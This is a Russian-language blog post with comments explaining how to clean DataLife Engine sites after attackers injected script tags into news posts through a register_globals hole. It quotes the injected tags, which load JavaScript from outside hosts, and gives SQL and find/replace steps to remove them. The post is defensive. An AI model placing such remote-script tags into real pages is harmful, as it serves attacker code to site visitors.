Поиск по сайту
Вход на сайт
Обратите внимание
Топ-новости
Архив сайта
Апрель 2016 (1)
Апрель 2014 (1)
Ноябрь 2013 (1)
Октябрь 2013 (1)
Май 2013 (2)
Апрель 2013 (8)
Партнеры

seo-monster.ru - сервис проверки доменов
хочешь такой же информер? Информер ТИЦ и PR

» » Очередная дырка на DLE

Очередная дырка на DLE

Багфиксы

Совсем недавно юные хацкеры почувствовали себя богами и начали по своей базе ДЛЕ-сайтов распихать свой код. Работает такой код у тех, кто опять забыл выключить register_globals в php.ini(ну или хостинг сделал сам такую гадость).

Кого ещё не взломали - выставляйте register_globals off
В файле .htaccess пишется такое
php_flag register_globals off
или добавить в начало index.php
ini_set('register_globals', 'Off');

А теперь правим дырку в движке. Для этого переходим по ссылке
http://dle-news.ru/bags/v90/1127-nedostatochnaya-filtraciya-vhodyaschih-dannyh.html
и лечим... лечим.. :)

А теперь как лечить свой DLE если в новостях появился код.
Например такой:

<script src="http://zheenix.msk.ru/76403bc14134a2b49668b579a3b33ae6.js" type="text/javascript"></script><script src="http://zheenix.msk.ru/abc.js" type="text/javascript"></script><script src="http://ivan81.ucoz.ru/engine.js" type="text/javascript"></script>

*код может быть и другой. Зависит от того, кто его туда добавил.

Пути устранения этого мусора в БД вашего ДЛЕ:
- создать бэкап, скачать его, открыть его в блокноте или любом редакторе(я использую Notepad2) и заменить использовать Ctrl +H
- зайти в Phpmyadmin и выполнить три запроса к БД

И там и там все просто, но нужно быть осторожным дабы не испортить саму БД.(делайте бэкапы почаще).

Вариант с текстовым редактором.
1. Скачали, открыли в Notepad2
2. Нажали Ctrl+H
Вводим в первой строке
http://zheenix.msk.ru/[0-9A-z]+.js

вторую оставить пустой.
Нажимаем Replace All
3. Теперь у нас осталось в строке
<script src="" type="text/javascript"></script><script src="http://zheenix.msk.ru/abc.js" type="text/javascript"></script><script src="http://ivan81.ucoz.ru/engine.js" type="text/javascript"></script>

Теперь осталось тоже самое что и в п.2, но с другими буковками:
Ctrl+F
вводим Search String:
<script src="" type="text/javascript"></script><script src="http://zheenix.msk.ru/abc.js" type="text/javascript"></script><script src="http://ivan81.ucoz.ru/engine.js" type="text/javascript"></script>

поле Replace with оставьте пустым.
И дальше Replace All

Проверяйте. Теперь ваша БД должна быть пустой от мусора. Если ещё что осталось - чистить и ещё раз чистить!


Вариант с phpmyadmin. Его уже продумал igoryanzx1. Потому просто процитирую его:

У меня в краткой и полной новости появилось по 3 скрипта
Код:
<script src="http://zheenix.msk.ru/76403bc14134a2b49668b579a3b33ae6.js" type="text/javascript"></script><script src="http://zheenix.msk.ru/abc.js" type="text/javascript"></script><script src="http://ivan81.ucoz.ru/engine.js" type="text/javascript"></script>

Делим их для удобства:
1.
Код:
<script src="http://zheenix.msk.ru/76403bc14134a2b49668b579a3b33ae6.js" type="text/javascript"></script>

2.
Код:
<script src="http://zheenix.msk.ru/abc.js" type="text/javascript"></script>

3.
Код:
<script src="http://ivan81.ucoz.ru/engine.js" type="text/javascript"></script>

1 удалить будет сложнее т.к код после слеша везде разный, поэтому начнем со 2 и 3!
Идем в phpmyadmin, выбираем вкладку SQL, видим окошко и туда вписываем:

UPDATE dle_post
SET
short_story=REPLACE(short_story, '<script src="http://zheenix.msk.ru/abc.js" type="text/javascript"></script>', ''),
`full_story`=REPLACE(full_story, '<script src="http://zheenix.msk.ru/abc.js" type="text/javascript"></script>', '')
WHERE
`short_story` LIKE '%<script src="http://zheenix.msk.ru/abc.js" type="text/javascript"></script>%'
OR
`full_story` LIKE '%<script src="http://zheenix.msk.ru/abc.js" type="text/javascript"></script>%'

Нажимаем ОК, после чего пропадет из новостей скрипт №2!
Не закрывая SQL удаляем так же скрипт №3 тоесть выполняем Такой sql запрос:

UPDATE dle_post
SET
short_story=REPLACE(short_story, '<script src="http://ivan81.ucoz.ru/engine.js" type="text/javascript"></script>', ''),
`full_story`=REPLACE(full_story, '<script src="http://ivan81.ucoz.ru/engine.js" type="text/javascript"></script>', '')
WHERE
`short_story` LIKE '%<script src="http://ivan81.ucoz.ru/engine.js" type="text/javascript"></script>%'
OR
`full_story` LIKE '%<script src="http://ivan81.ucoz.ru/engine.js" type="text/javascript"></script>%'

Нажимаем ОК!
Скрипт №3 так же удален!

Теперь возьмемся за скрипт №1
В phpmyadmin выбираем вкладку "Экспорт" и нажимаем ОК, сохраняем на компьютер!
Открываем эту базу с помощью ОФИСОВСКОГО ВОРДА, нажимаем "правка"---->>>"замена" и вписываем в поле найти: (zheenix)*(js) а в поле замена zheenix.ru , тут же нажимаем "больше" и ставим галочку на "Подстановочные знаки" , нажимаем "заменить все"!
Этим мы избавились от разного кода! Сохраняем изменения!
Идем в phpmyadmin ---> структура ----> и отмечаем все галочки ---> далее удаляем все!
Теперь идем во вкладку "импорт" , нажимаем обзор и выбираем Нашу измененную БД, ставим вместо utf8 ---> cp1251 и нажиимаем ОК! База загружена!
Теперь бежим в вкладку SQL и выполняем такой запрос:

UPDATE dle_post
SET
short_story=REPLACE(short_story, '<script src="http://zheenix.ru" type="text/javascript"></script>', ''),
`full_story`=REPLACE(full_story, '<script src="http://zheenix.ru" type="text/javascript"></script>', '')
WHERE
`short_story` LIKE '%<script src="http://zheenix.ru" type="text/javascript"></script>%'
OR
`full_story` LIKE '%<script src="http://zheenix.ru" type="text/javascript"></script>%'

нажимаем ОК!

Вот собственно и все! Можно конечно и облегчить это все, но я написал как делал сам!
Заняло у меня это минут 10, все же быстей и проще чем руками это делать!
Теперь только надо думать о заплатках)

У вас не ставится dle модуль или dle шаблон работает не правильно? Задайте вопрос на нашем форуме по DLE(Datalife Engine CMS) и Вам обязательно помогут!



Если появились вопросы по поводу Очередная дырка на DLE или Вы хотите высказаться, то пройдите регистрацию или авторизируйтесь и оставляйте комментарии.
#1 написал: djprog (27 января 2011 18:40)

Публикаций: 0
Комментариев: 0
Сук* хакеры и мой сайт пострадав, зломали базу с 15000 новостями и 2000 пользователей, чтоб их громом било.
#2 написал: maxora (27 января 2011 19:21)

Публикаций: 0
Комментариев: 0
ваше круто wink скажите а что делает вот это http://zheenix.msk.ru/abc.js
вроде это фрейм а что оно может делать с этими фреймами ?
#3 написал: Assassin674 (29 января 2011 11:10)

Публикаций: 0
Комментариев: 0
Спасибо smile Полезная инфомрация.. Но на 9,2 пока не спешу переходить!
#4 написал: kuguk (30 января 2011 14:19)

Публикаций: 0
Комментариев: 0
Спасибо, особенно за это
http://zheenix.msk.ru/[0-9A-z]+.js

будем знать. Пригодиться на будующее.
Как на счет этого
<script src="" type="text/javascript">
;</script>

- можно удалить через notepad ?
#5 написал: kiyuni (20 февраля 2011 12:59)

Публикаций: 0
Комментариев: 0
Здравствуйте, сделал по первому способу, но теперь при импорте базы появляется ошибка
#1136 - Column count doesn't match value count at row 11
Информация

Посетители, находящиеся в группе Гости, не могут оставлять комментарии к данной публикации.

Вверх